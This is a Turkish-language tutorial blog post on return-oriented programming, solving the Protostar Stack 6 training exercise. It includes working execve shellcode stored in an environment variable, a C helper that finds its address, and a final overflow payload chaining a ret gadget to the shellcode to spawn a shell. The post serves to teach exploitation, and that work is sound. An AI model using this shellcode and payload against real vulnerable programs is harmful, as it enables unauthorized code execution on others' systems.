Return Oriented Programming (ROP) - 2

22 Mar 2020 » binary-exploitation

ROP Part 2

Tekrardan merhaba. Yaklaşık 1 aydır birşeyler yazmıyordum ve liste birazcık kabarmaya başladı o yüzden tekrar bir ROP ile giriş yapayım istedim. Eğer önceki yazımı okuduysanız çok fazla teknik detaylara girmeden ve uygulama yapmadan kısaca konuyu özetlemeye çalışmıştım. Açıkcası bi uygulama yapmadığım için pek anlaşıldığını düşünmediğimden bir de uygulamalı ROP yazmaya karar verdim. Lafı çok uzattım sanırım hadi başlayalım.

Ön Hazırlık

Protostar Stack 6 sorusu üzerinden gideceğim. Bende daha önceden yüklü olduğu için direk makine üzerinden çözümünü göstereceğim ancak siz isterseniz kodlarını alıp derleyip kendi cihazınız (tercihen linux) üzerinde de çalışabilirsiniz.

NOT - 1 : Hangi korumaların açık/kapalı olduğuna dikkat edin. NX koruması dışında diğer korumaların açık olmasına gerek yok. Eğer açık olursa exploiti diğer korumaları da atlatacak şekilde geliştirmeniz gerekecek.

NOT - 2 : İlerleyen zamanlarda konular oturdukça tüm korumalar aktifken neler yapabiliriz üzerine de birşeyler düşünüyorum ama şimdilik teker teker gitmekte fayda var.

# GO RUN

Senaryo şu şekilde. Elimizde bir ELF dosya var ve bu programda NX koruması aktif. Yani stack içerisine shellcode yükleyemeyeceğiz. Hemen system komutu çalıştırabilir miyiz diye bakıyoruz ancak yazılımcının daha önce dili yanmış olacak ki bu komutun kullanılmasını kısıtlamış. Yani ret2libc denememiz büyük ihtimalle başarısız olacak. Hızlıca bi araştırma yapıyoruz ve imdadımıza ROP yani Return Oriented Programming saldırısının yetiştiğini görüyoruz. (Bunun ne olduğunu bilmeyen varsa hızlıca şuraya bi göz atsın derim.)

İlk önce sevgili objdump ile programımız içerisinde herhangi bir ret yani return işlemi yapan bir adres var mı buna bakıyoruz.

objdump

Gördüğünüz gibi karşımıza birkaç seçenek geldi. Bunları kenara not edip devam edelim. İlerde işimize yarayacaklar.

Şimdi sırada shellcode’umuzu hazırlamaya geldi. Stack içerisinde çalıştıramıyacaksak nerde çalıştırcaz biz bu arkadaşı ? sorusundan bizi kurtaracak olan tabi ki ortam değişkenleri yani environment variables olacak.

Aşağıdaki şekilde shellimizi ortam değişkeni olarak tanımlıyoruz.

    export SHELL=$(python -c "print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')

ortam-degiskeni

Tanımladıktan sonra bunun adresini öğrenmemiz lazım ki kullanalım.

    #include <stdio.h>
    #include <stdlib.h>

    int main(int argc, char *argv[]) {
        char* ptr = getenv("SHELL");
        printf("%p\n", ptr);
    }

shellcode-adres

Evet sanırım gerekli hazırlıkları yaptık. Bundan sonra yapacağımız şey programın kaç karakterden sonra eip registerı üzerine yazdığını bulmak olacak. Bu kısımları çokça anlattığım için tekrar anlatmayacağım. Ben 80 olarak buldum.

Artık yapbozun parçalarını bir araya getirebiliriz. Yapacağımız şey aslında çokda yabancı olmadığımız birşey. EIP registerının üzerine programın içerisinde ret komutunu çalıştıran bir adresi verip daha sonra da bu komuta döneceği yerin bizim SHELL adresimiz olması gerektiğini söyleyeceğiz.

Böylelikle stack içerisine shellcode yazmadan shellcode çalıştırıp komut satırına erişim sağlayacağız.

Hadi deneyelim…

(python -c "print 'A' * 80 + '\x5f\x83\x04\x08\xa5\xf9\xff\xbf'"; cat) | ./stack6

shellcode-adres

Ve bingo ! Shellimizi aldık.